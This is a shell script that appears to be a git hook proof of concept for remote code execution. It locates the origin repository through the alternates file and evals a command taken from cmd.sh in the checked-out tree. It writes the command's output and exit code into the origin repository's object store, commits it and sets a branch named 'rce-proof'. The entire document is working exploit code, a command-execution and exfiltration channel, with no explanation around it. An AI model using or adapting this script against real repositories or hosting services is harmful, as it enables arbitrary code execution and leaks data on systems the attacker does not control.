#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
  /*) ;;
  *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3

cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
[ -n "$cmd" ] || exit 0

out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")

out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
 GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
 git --git-dir="$origin_git" commit-tree "$tree")
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
exit 0

# g3cnma